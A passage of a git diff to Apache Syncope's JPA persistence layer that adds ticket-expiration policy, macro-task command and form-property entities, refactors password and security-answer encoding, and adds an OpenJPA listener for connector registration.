Optional.ofNullable(unauthorizedRedirectUrl). - map(URI::create).orElse(null); - } - - @Override - public void setUnauthorizedRedirectUrl(final URI unauthorizedRedirectUrl) { - this.unauthorizedRedirectUrl = Optional.ofNullable(unauthorizedRedirectUrl). - map(URI::toASCIIString).orElse(null); - } - @Override public AccessPolicyConf getConf() { return Optional.ofNullable(jsonConf).map(c -> POJOHelper.deserialize(c, AccessPolicyConf.class)).orElse(null); diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/policy/JPAAttrReleasePolicy.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/policy/JPAAttrReleasePolicy.java index 72fbeb99534..de3ccd1492a 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/policy/JPAAttrReleasePolicy.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/policy/JPAAttrReleasePolicy.java @@ -54,8 +54,8 @@ public void setOrder(final int order) { } @Override - public Boolean getStatus() { - return status; + public boolean getStatus() { + return status == null ? true : status; } @Override diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/policy/JPAPolicyUtils.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/policy/JPAPolicyUtils.java index d6584d004d1..e6bd285d287 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/policy/JPAPolicyUtils.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/policy/JPAPolicyUtils.java @@ -29,6 +29,7 @@ import org.apache.syncope.core.persistence.api.entity.policy.PropagationPolicy; import org.apache.syncope.core.persistence.api.entity.policy.PullPolicy; import org.apache.syncope.core.persistence.api.entity.policy.PushPolicy; +import org.apache.syncope.core.persistence.api.entity.policy.TicketExpirationPolicy; public class JPAPolicyUtils implements PolicyUtils { @@ -61,6 +62,9 @@ public Class policyClass() { case ACCESS: return AccessPolicy.class; + case TICKET_EXPIRATION: + return TicketExpirationPolicy.class; + case PROPAGATION: return PropagationPolicy.class; diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/policy/JPAPolicyUtilsFactory.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/policy/JPAPolicyUtilsFactory.java index f13302a680d..0a0de4440f2 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/policy/JPAPolicyUtilsFactory.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/policy/JPAPolicyUtilsFactory.java @@ -27,6 +27,7 @@ import org.apache.syncope.common.lib.policy.PropagationPolicyTO; import org.apache.syncope.common.lib.policy.PullPolicyTO; import org.apache.syncope.common.lib.policy.PushPolicyTO; +import org.apache.syncope.common.lib.policy.TicketExpirationPolicyTO; import org.apache.syncope.common.lib.types.PolicyType; import org.apache.syncope.core.persistence.api.entity.policy.AccessPolicy; import org.apache.syncope.core.persistence.api.entity.policy.AccountPolicy; @@ -39,6 +40,7 @@ import org.apache.syncope.core.persistence.api.entity.policy.PropagationPolicy; import org.apache.syncope.core.persistence.api.entity.policy.PullPolicy; import org.apache.syncope.core.persistence.api.entity.policy.PushPolicy; +import org.apache.syncope.core.persistence.api.entity.policy.TicketExpirationPolicy; public class JPAPolicyUtilsFactory implements PolicyUtilsFactory { @@ -66,6 +68,8 @@ public PolicyUtils getInstance(final Policy policy) { type = PolicyType.ACCESS; } else if (policy instanceof AttrReleasePolicy) { type = PolicyType.ATTR_RELEASE; + } else if (policy instanceof TicketExpirationPolicy) { + type = PolicyType.TICKET_EXPIRATION; } else { throw new IllegalArgumentException("Invalid policy: " + policy); } @@ -92,6 +96,8 @@ public PolicyUtils getInstance(final Class policyClass) { type = PolicyType.ACCESS; } else if (policyClass == AttrReleasePolicyTO.class) { type = PolicyType.ATTR_RELEASE; + } else if (policyClass == TicketExpirationPolicyTO.class) { + type = PolicyType.TICKET_EXPIRATION; } else { throw new IllegalArgumentException("Invalid PolicyTO class: " + policyClass.getName()); } diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/policy/JPATicketExpirationPolicy.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/policy/JPATicketExpirationPolicy.java new file mode 100644 index 00000000000..cdbc4a9fddd --- /dev/null +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/policy/JPATicketExpirationPolicy.java @@ -0,0 +1,51 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.persistence.jpa.entity.policy; + +import java.util.Optional; +import javax.persistence.Entity; +import javax.persistence.Lob; +import javax.persistence.Table; +import org.apache.syncope.common.lib.policy.TicketExpirationPolicyConf; +import org.apache.syncope.core.persistence.api.entity.policy.TicketExpirationPolicy; +import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; + +@Entity +@Table(name = JPATicketExpirationPolicy.TABLE) +public class JPATicketExpirationPolicy extends AbstractPolicy implements TicketExpirationPolicy { + + private static final long serialVersionUID = -4190607009908888884L; + + public static final String TABLE = "TicketExpirationPolicy"; + + @Lob + private String jsonConf; + + @Override + public TicketExpirationPolicyConf getConf() { + return Optional.ofNullable(jsonConf). + map(c -> POJOHelper.deserialize(c, TicketExpirationPolicyConf.class)). + orElse(null); + } + + @Override + public void setConf(final TicketExpirationPolicyConf conf) { + jsonConf = Optional.ofNullable(conf).map(POJOHelper::serialize).orElse(null); + } +} diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/task/JPAFormPropertyDef.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/task/JPAFormPropertyDef.java new file mode 100644 index 00000000000..99988194c07 --- /dev/null +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/task/JPAFormPropertyDef.java @@ -0,0 +1,254 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.persistence.jpa.entity.task; + +import com.fasterxml.jackson.core.type.TypeReference; +import java.util.HashMap; +import java.util.Locale; +import java.util.Map; +import java.util.Optional; +import java.util.regex.Pattern; +import javax.persistence.Entity; +import javax.persistence.EnumType; +import javax.persistence.Enumerated; +import javax.persistence.Lob; +import javax.persistence.ManyToOne; +import javax.persistence.PostLoad; +import javax.persistence.PostPersist; +import javax.persistence.PostUpdate; +import javax.persistence.PrePersist; +import javax.persistence.PreUpdate; +import javax.persistence.Table; +import javax.persistence.Transient; +import javax.validation.constraints.NotNull; +import org.apache.syncope.common.lib.form.FormPropertyType; +import org.apache.syncope.core.persistence.api.entity.task.FormPropertyDef; +import org.apache.syncope.core.persistence.api.entity.task.MacroTask; +import org.apache.syncope.core.persistence.jpa.entity.AbstractGeneratedKeyEntity; +import org.apache.syncope.core.persistence.jpa.validation.entity.FormPropertyDefCheck; +import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; + +@Entity +@Table(name = JPAFormPropertyDef.TABLE) +@FormPropertyDefCheck +public class JPAFormPropertyDef extends AbstractGeneratedKeyEntity implements FormPropertyDef { + + private static final long serialVersionUID = -5839990371546587373L; + + public static final String TABLE = "FormPropertyDef"; + + protected static final TypeReference> ENUMVALUES_TYPEREF = + new TypeReference>() { + }; + + protected static final TypeReference> LABEL_TYPEREF = + new TypeReference>() { + }; + + private int idx; + + @ManyToOne(optional = false) + private JPAMacroTask macroTask; + + @NotNull + private String name; + + @Lob + private String labels; + + @Transient + private Map labelMap = new HashMap<>(); + + @NotNull + @Enumerated(EnumType.STRING) + private FormPropertyType type; + + @NotNull + private Boolean readable = Boolean.TRUE; + + @NotNull + private Boolean writable = Boolean.TRUE; + + @NotNull + private Boolean required = Boolean.FALSE; + + private String stringRegEx; + + private String datePattern; + + @Lob + private String enumValues; + + @NotNull + private Boolean dropdownSingleSelection = Boolean.TRUE; + + @NotNull + private Boolean dropdownFreeForm = Boolean.FALSE; + + public void setIdx(final int idx) { + this.idx = idx; + } + + @Override + public JPAMacroTask getMacroTask() { + return macroTask; + } + + @Override + public void setMacroTask(final MacroTask macroTask) { + checkType(macroTask, JPAMacroTask.class); + this.macroTask = (JPAMacroTask) macroTask; + } + + @Override + public String getName() { + return name; + } + + @Override + public void setName(final String name) { + this.name = name; + } + + @Override + public Optional getLabel(final Locale locale) { + return Optional.ofNullable(labelMap.get(locale)); + } + + @Override + public Map getLabels() { + return labelMap; + } + + @Override + public FormPropertyType getType() { + return type; + } + + @Override + public void setType(final FormPropertyType type) { + this.type = type; + } + + @Override + public boolean isReadable() { + return readable == null ? true : readable; + } + + @Override + public void setReadable(final boolean readable) { + this.readable = readable; + } + + @Override + public boolean isWritable() { + return writable == null ? true : writable; + } + + @Override + public void setWritable(final boolean writable) { + this.writable = writable; + } + + @Override + public boolean isRequired() { + return required == null ? false : required; + } + + @Override + public void setRequired(final boolean required) { + this.required = required; + } + + @Override + public Pattern getStringRegEx() { + return Optional.ofNullable(stringRegEx).map(Pattern::compile).orElse(null); + } + + @Override + public void setStringRegExp(final Pattern stringRegEx) { + this.stringRegEx = Optional.ofNullable(stringRegEx).map(Pattern::pattern).orElse(null); + } + + @Override + public String getDatePattern() { + return datePattern; + } + + @Override + public void setDatePattern(final String datePattern) { + this.datePattern = datePattern; + } + + @Override + public Map getEnumValues() { + return Optional.ofNullable(enumValues).map(v -> POJOHelper.deserialize(v, ENUMVALUES_TYPEREF)).orElse(Map.of()); + } + + @Override + public void setEnumValues(final Map enumValues) { + this.enumValues = Optional.ofNullable(enumValues).map(POJOHelper::serialize).orElse(null); + } + + @Override + public boolean isDropdownSingleSelection() { + return dropdownSingleSelection == null ? false : dropdownSingleSelection; + } + + @Override + public void setDropdownSingleSelection(final boolean dropdownSingleSelection) { + this.dropdownSingleSelection = dropdownSingleSelection; + } + + @Override + public boolean isDropdownFreeForm() { + return dropdownFreeForm == null ? false : dropdownFreeForm; + } + + @Override + public void setDropdownFreeForm(final boolean dropdownFreeForm) { + this.dropdownFreeForm = dropdownFreeForm; + } + + protected void json2map(final boolean clearFirst) { + if (clearFirst) { + getLabels().clear(); + } + if (labels != null) { + getLabels().putAll(POJOHelper.deserialize(labels, LABEL_TYPEREF)); + } + } + + @PostLoad + public void postLoad() { + json2map(false); + } + + @PostPersist + @PostUpdate + public void postSave() { + json2map(true); + } + + @PrePersist + @PreUpdate + public void map2json() { + labels = POJOHelper.serialize(getLabels()); + } +} diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/task/JPAMacroTask.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/task/JPAMacroTask.java index 20fdcc52695..bc5878cd8cb 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/task/JPAMacroTask.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/task/JPAMacroTask.java @@ -18,37 +18,27 @@ */ package org.apache.syncope.core.persistence.jpa.entity.task; -import com.fasterxml.jackson.core.type.TypeReference; import java.util.ArrayList; import java.util.List; import javax.persistence.CascadeType; import javax.persistence.Entity; import javax.persistence.FetchType; -import javax.persistence.JoinColumn; -import javax.persistence.JoinTable; -import javax.persistence.Lob; -import javax.persistence.ManyToMany; import javax.persistence.ManyToOne; import javax.persistence.OneToMany; -import javax.persistence.PostLoad; -import javax.persistence.PostPersist; -import javax.persistence.PostUpdate; -import javax.persistence.PrePersist; -import javax.persistence.PreUpdate; +import javax.persistence.OrderBy; import javax.persistence.Table; -import javax.persistence.Transient; -import javax.persistence.UniqueConstraint; +import javax.validation.Valid; import javax.validation.constraints.NotNull; -import org.apache.syncope.common.lib.command.CommandArgs; import org.apache.syncope.common.lib.types.IdRepoImplementationType; import org.apache.syncope.core.persistence.api.entity.Implementation; import org.apache.syncope.core.persistence.api.entity.Realm; +import org.apache.syncope.core.persistence.api.entity.task.FormPropertyDef; import org.apache.syncope.core.persistence.api.entity.task.MacroTask; +import org.apache.syncope.core.persistence.api.entity.task.MacroTaskCommand; import org.apache.syncope.core.persistence.api.entity.task.SchedTask; import org.apache.syncope.core.persistence.api.entity.task.TaskExec; import org.apache.syncope.core.persistence.jpa.entity.JPAImplementation; import org.apache.syncope.core.persistence.jpa.entity.JPARealm; -import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; @Entity @Table(name = JPAMacroTask.TABLE) @@ -58,9 +48,6 @@ public class JPAMacroTask extends JPASchedTask implements MacroTask { public static final String TABLE = "MacroTask"; - protected static final TypeReference> TYPEREF = new TypeReference>() { - }; - @ManyToOne(fetch = FetchType.EAGER, optional = false) private JPARealm realm; @@ -70,21 +57,17 @@ public class JPAMacroTask extends JPASchedTask implements MacroTask { @NotNull private Boolean saveExecs = true; - @ManyToMany(fetch = FetchType.EAGER) - @JoinTable(name = TABLE + "Commands", - joinColumns = - @JoinColumn(name = "task_id"), - inverseJoinColumns = - @JoinColumn(name = "implementation_id"), - uniqueConstraints = - @UniqueConstraint(columnNames = { "task_id", "implementation_id" })) - private List commands = new ArrayList<>(); + @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER, orphanRemoval = true, mappedBy = "macroTask") + @OrderBy("idx") + private List macroTaskCommands = new ArrayList<>(); - @Lob - private String commandArgs; + @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER, orphanRemoval = true, mappedBy = "macroTask") + @OrderBy("idx") + @Valid + private List formPropertyDefs = new ArrayList<>(); - @Transient - private final List commandArgsList = new ArrayList<>(); + @ManyToOne(fetch = FetchType.EAGER) + private JPAImplementation macroActions; @OneToMany(targetEntity = JPAMacroTaskExec.class, cascade = CascadeType.ALL, orphanRemoval = true, mappedBy = "task") @@ -101,25 +84,6 @@ public void setRealm(final Realm realm) { this.realm = (JPARealm) realm; } - @Override - public void add(final Implementation command, final CommandArgs args) { - checkType(command, JPAImplementation.class); - checkImplementationType(command, IdRepoImplementationType.COMMAND); - commands.add((JPAImplementation) command); - - getCommandArgs().add(args); - } - - @Override - public List getCommands() { - return commands; - } - - @Override - public List getCommandArgs() { - return commandArgsList; - } - @Override public boolean isContinueOnError() { return continueOnError == null ? false : continueOnError; @@ -150,29 +114,39 @@ protected List> executions() { return executions; } - protected void json2list(final boolean clearFirst) { - if (clearFirst) { - getCommandArgs().clear(); - } - if (commandArgs != null) { - getCommandArgs().addAll(POJOHelper.deserialize(commandArgs, TYPEREF)); - } + @Override + public void add(final MacroTaskCommand macroTaskCommand) { + checkType(macroTaskCommand, JPAMacroTaskCommand.class); + ((JPAMacroTaskCommand) macroTaskCommand).setIdx(macroTaskCommands.size()); + macroTaskCommands.add((JPAMacroTaskCommand) macroTaskCommand); + } + + @Override + public List getCommands() { + return macroTaskCommands; + } + + @Override + public void add(final FormPropertyDef formPropertyDef) { + checkType(formPropertyDef, JPAFormPropertyDef.class); + ((JPAFormPropertyDef) formPropertyDef).setIdx(formPropertyDefs.size()); + formPropertyDefs.add((JPAFormPropertyDef) formPropertyDef); } - @PostLoad - public void postLoad() { - json2list(false); + @Override + public List getFormPropertyDefs() { + return formPropertyDefs; } - @PostPersist - @PostUpdate - public void postSave() { - json2list(true); + @Override + public Implementation getMacroActions() { + return macroActions; } - @PrePersist - @PreUpdate - public void list2json() { - commandArgs = POJOHelper.serialize(getCommandArgs(), TYPEREF); + @Override + public void setMacroAction(final Implementation macroActions) { + checkType(macroActions, JPAImplementation.class); + checkImplementationType(macroActions, IdRepoImplementationType.MACRO_ACTIONS); + this.macroActions = (JPAImplementation) macroActions; } } diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/task/JPAMacroTaskCommand.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/task/JPAMacroTaskCommand.java new file mode 100644 index 00000000000..6717338bc4a --- /dev/null +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/task/JPAMacroTaskCommand.java @@ -0,0 +1,93 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.persistence.jpa.entity.task; + +import java.util.Optional; +import javax.persistence.Entity; +import javax.persistence.Lob; +import javax.persistence.ManyToOne; +import javax.persistence.OneToOne; +import javax.persistence.Table; +import org.apache.syncope.common.lib.command.CommandArgs; +import org.apache.syncope.common.lib.types.IdRepoImplementationType; +import org.apache.syncope.core.persistence.api.entity.Implementation; +import org.apache.syncope.core.persistence.api.entity.task.MacroTask; +import org.apache.syncope.core.persistence.api.entity.task.MacroTaskCommand; +import org.apache.syncope.core.persistence.jpa.entity.AbstractGeneratedKeyEntity; +import org.apache.syncope.core.persistence.jpa.entity.JPAImplementation; +import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; + +@Entity +@Table(name = JPAMacroTaskCommand.TABLE) +public class JPAMacroTaskCommand extends AbstractGeneratedKeyEntity implements MacroTaskCommand { + + private static final long serialVersionUID = -8388668645348044783L; + + public static final String TABLE = "MacroTaskCommand"; + + private int idx; + + @ManyToOne(optional = false) + private JPAMacroTask macroTask; + + @OneToOne(optional = false) + private JPAImplementation command; + + @Lob + private String args; + + public void setIdx(final int idx) { + this.idx = idx; + } + + @Override + public JPAMacroTask getMacroTask() { + return macroTask; + } + + @Override + public void setMacroTask(final MacroTask macroTask) { + checkType(macroTask, JPAMacroTask.class); + this.macroTask = (JPAMacroTask) macroTask; + } + + @Override + public Implementation getCommand() { + return command; + } + + @Override + public void setCommand(final Implementation command) { + checkType(command, JPAImplementation.class); + checkImplementationType(command, IdRepoImplementationType.COMMAND); + this.command = (JPAImplementation) command; + } + + @Override + public CommandArgs getArgs() { + return Optional.ofNullable(args). + map(args -> POJOHelper.deserialize(args, CommandArgs.class)). + orElse(null); + } + + @Override + public void setArgs(final CommandArgs args) { + this.args = Optional.ofNullable(args).map(POJOHelper::serialize).orElse(null); + } +} diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/task/JPASchedTask.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/task/JPASchedTask.java index cd680aedae3..5504db8b271 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/task/JPASchedTask.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/task/JPASchedTask.java @@ -22,6 +22,7 @@ import java.util.ArrayList; import java.util.List; import javax.persistence.CascadeType; +import javax.persistence.Column; import javax.persistence.Entity; import javax.persistence.Inheritance; import javax.persistence.InheritanceType; @@ -53,7 +54,7 @@ public class JPASchedTask extends AbstractTask implements SchedTask { private String cronExpression; - @NotNull + @Column(unique = true, nullable = false) private String name; private String description; diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/user/JPALinkedAccount.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/user/JPALinkedAccount.java index cccd14bc737..663e95c8a64 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/user/JPALinkedAccount.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/user/JPALinkedAccount.java @@ -61,8 +61,6 @@ public class JPALinkedAccount extends AbstractGeneratedKeyEntity implements Link public static final String TABLE = "LinkedAccount"; - private static final Encryptor ENCRYPTOR = Encryptor.getInstance(); - @NotNull private String connObjectKeyValue; @@ -151,7 +149,7 @@ public void setCipherAlgorithm(final CipherAlgorithm cipherAlgorithm) { throw new IllegalArgumentException("Cannot override existing cipher algorithm"); } } - + @Override public boolean canDecodeSecrets() { return this.cipherAlgorithm != null && this.cipherAlgorithm.isInvertible(); @@ -168,14 +166,22 @@ public void setEncodedPassword(final String password, final CipherAlgorithm ciph this.cipherAlgorithm = cipherAlgoritm; } + protected String encode(final String value) throws Exception { + return Encryptor.getInstance().encode( + value, + Optional.ofNullable(cipherAlgorithm). + orElseGet(() -> CipherAlgorithm.valueOf( + ApplicationContextProvider.getBeanFactory().getBean(ConfParamOps.class).get( + AuthContextUtils.getDomain(), + "password.cipher.algorithm", + CipherAlgorithm.AES.name(), + String.class)))); + } + @Override public void setPassword(final String password) { try { - this.password = ENCRYPTOR.encode(password, cipherAlgorithm == null - ? CipherAlgorithm.valueOf(ApplicationContextProvider.getBeanFactory().getBean(ConfParamOps.class). - get(AuthContextUtils.getDomain(), "password.cipher.algorithm", CipherAlgorithm.AES.name(), - String.class)) - : cipherAlgorithm); + this.password = encode(password); } catch (Exception e) { LOG.error("Could not encode password", e); this.password = null; diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/user/JPAUser.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/user/JPAUser.java index abd9b71e6f2..30ed932ab10 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/user/JPAUser.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/user/JPAUser.java @@ -38,7 +38,6 @@ import javax.persistence.ManyToOne; import javax.persistence.OneToMany; import javax.persistence.Table; -import javax.persistence.Transient; import javax.persistence.UniqueConstraint; import javax.validation.Valid; import javax.validation.constraints.NotNull; @@ -78,17 +77,12 @@ public class JPAUser public static final String TABLE = "SyncopeUser"; - protected static final Encryptor ENCRYPTOR = Encryptor.getInstance(); - protected static final TypeReference> TYPEREF = new TypeReference>() { }; @Column(nullable = true) protected String password; - @Transient - protected String clearPassword; - @ManyToMany(fetch = FetchType.EAGER) @JoinTable(joinColumns = @JoinColumn(name = "user_id"), @@ -179,9 +173,6 @@ public class JPAUser @Column(nullable = true) protected String securityAnswer; - @Transient - protected String clearSecurityAnswer; - @OneToMany(cascade = CascadeType.ALL, orphanRemoval = true, mappedBy = "owner") @Valid protected List linkedAccounts = new ArrayList<>(); @@ -223,39 +214,29 @@ public String getPassword() { return password; } - @Override - public String getClearPassword() { - return clearPassword; - } - - public void setClearPassword(final String clearPassword) { - this.clearPassword = clearPassword; - } - - @Override - public void removeClearPassword() { - setClearPassword(null); - } - @Override public void setEncodedPassword(final String password, final CipherAlgorithm cipherAlgorithm) { - this.clearPassword = null; - this.password = password; this.cipherAlgorithm = cipherAlgorithm; setMustChangePassword(false); } + protected String encode(final String value) throws Exception { + return Encryptor.getInstance().encode( + value, + Optional.ofNullable(cipherAlgorithm). + orElseGet(() -> CipherAlgorithm.valueOf( + ApplicationContextProvider.getBeanFactory().getBean(ConfParamOps.class).get( + AuthContextUtils.getDomain(), + "password.cipher.algorithm", + CipherAlgorithm.AES.name(), + String.class)))); + } + @Override public void setPassword(final String password) { - this.clearPassword = password; - try { - this.password = ENCRYPTOR.encode(password, cipherAlgorithm == null - ? CipherAlgorithm.valueOf(ApplicationContextProvider.getBeanFactory().getBean(ConfParamOps.class). - get(AuthContextUtils.getDomain(), "password.cipher.algorithm", CipherAlgorithm.AES.name(), - String.class)) - : cipherAlgorithm); + this.password = encode(password); setMustChangePassword(false); } catch (Exception e) { LOG.error("Could not encode password", e); @@ -349,8 +330,7 @@ public void addToPasswordHistory(final String password) { @Override public void removeOldestEntriesFromPasswordHistory(final int n) { List ph = getPasswordHistory(); - ph.subList(n, ph.size()); - passwordHistory = POJOHelper.serialize(ph); + passwordHistory = POJOHelper.serialize(ph.subList(Math.min(n, ph.size()), ph.size())); } @Override @@ -436,28 +416,10 @@ public String getSecurityAnswer() { return securityAnswer; } - @Override - public String getClearSecurityAnswer() { - return clearSecurityAnswer; - } - - @Override - public void setEncodedSecurityAnswer(final String securityAnswer) { - this.clearSecurityAnswer = null; - - this.securityAnswer = securityAnswer; - } - @Override public void setSecurityAnswer(final String securityAnswer) { - this.securityAnswer = securityAnswer; - try { - this.securityAnswer = ENCRYPTOR.encode(securityAnswer, cipherAlgorithm == null - ? CipherAlgorithm.valueOf(ApplicationContextProvider.getBeanFactory().getBean(ConfParamOps.class). - get(AuthContextUtils.getDomain(), "password.cipher.algorithm", CipherAlgorithm.AES.name(), - String.class)) - : cipherAlgorithm); + this.securityAnswer = encode(securityAnswer); } catch (Exception e) { LOG.error("Could not encode security answer", e); this.securityAnswer = null; diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/openjpa/ConnectorManagerRemoteCommitListener.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/openjpa/ConnectorManagerRemoteCommitListener.java new file mode 100644 index 00000000000..94d82961d62 --- /dev/null +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/openjpa/ConnectorManagerRemoteCommitListener.java @@ -0,0 +1,155 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.persistence.jpa.openjpa; + +import java.io.Serializable; +import java.util.Collection; +import java.util.List; +import org.apache.openjpa.event.RemoteCommitEvent; +import org.apache.openjpa.event.RemoteCommitListener; +import org.apache.openjpa.util.StringId; +import org.apache.syncope.core.persistence.api.dao.ExternalResourceDAO; +import org.apache.syncope.core.persistence.api.entity.ExternalResource; +import org.apache.syncope.core.persistence.jpa.entity.JPAConnInstance; +import org.apache.syncope.core.persistence.jpa.entity.JPAExternalResource; +import org.apache.syncope.core.provisioning.api.ConnectorManager; +import org.apache.syncope.core.spring.ApplicationContextProvider; +import org.apache.syncope.core.spring.security.AuthContextUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * Takes care of connectors' Spring beans (un)registration in case HA is set up and the actual change is performed by + * another node in the OpenJPA cluster. + */ +public class ConnectorManagerRemoteCommitListener implements RemoteCommitListener, Serializable { + + private static final long serialVersionUID = 5260753255454140460L; + + protected static final Logger LOG = LoggerFactory.getLogger(ConnectorManagerRemoteCommitListener.class); + + protected final String domain; + + public ConnectorManagerRemoteCommitListener(final String domain) { + this.domain = domain; + } + + protected void registerForExternalResource(final String resourceKey) { + AuthContextUtils.callAsAdmin(domain, () -> { + ExternalResource resource = ApplicationContextProvider.getApplicationContext(). + getBean(ExternalResourceDAO.class).find(resourceKey); + if (resource == null) { + LOG.debug("No resource found for '{}', ignoring", resourceKey); + } + + try { + ApplicationContextProvider.getApplicationContext(). + getBean(ConnectorManager.class).registerConnector(resource); + } catch (Exception e) { + LOG.error("While registering connector for resource {}", resourceKey, e); + } + + return null; + }); + } + + protected void registerForConnInstance(final String connInstanceKey) { + AuthContextUtils.callAsAdmin(domain, () -> { + List resources = ApplicationContextProvider.getApplicationContext(). + getBean(ExternalResourceDAO.class).findByConnInstance(connInstanceKey); + if (resources.isEmpty()) { + LOG.debug("No resources found for connInstance '{}', ignoring", connInstanceKey); + } + + resources.forEach(resource -> { + try { + ApplicationContextProvider.getApplicationContext(). + getBean(ConnectorManager.class).registerConnector(resource); + } catch (Exception e) { + LOG.error("While registering connector {} for resource {}", connInstanceKey, resource, e); + } + }); + + return null; + }); + } + + protected void unregister(final String resourceKey) { + AuthContextUtils.callAsAdmin(domain, () -> { + ExternalResource resource = ApplicationContextProvider.getApplicationContext(). + getBean(ExternalResourceDAO.class).find(resourceKey); + if (resource == null) { + LOG.debug("No resource found for '{}', ignoring", resourceKey); + } + + try { + ApplicationContextProvider.getApplicationContext(). + getBean(ConnectorManager.class).unregisterConnector(resource); + } catch (Exception e) { + LOG.error("While unregistering connector for resource {}", resourceKey, e); + } + + return null; + }); + } + + @SuppressWarnings("unchecked") + @Override + public void afterCommit(final RemoteCommitEvent event) { + if (event.getPayloadType() == RemoteCommitEvent.PAYLOAD_OIDS_WITH_ADDS) { + ((Collection) event.getPersistedObjectIds()).stream(). + filter(StringId.class::isInstance). + map(StringId.class::cast). + forEach(id -> { + if 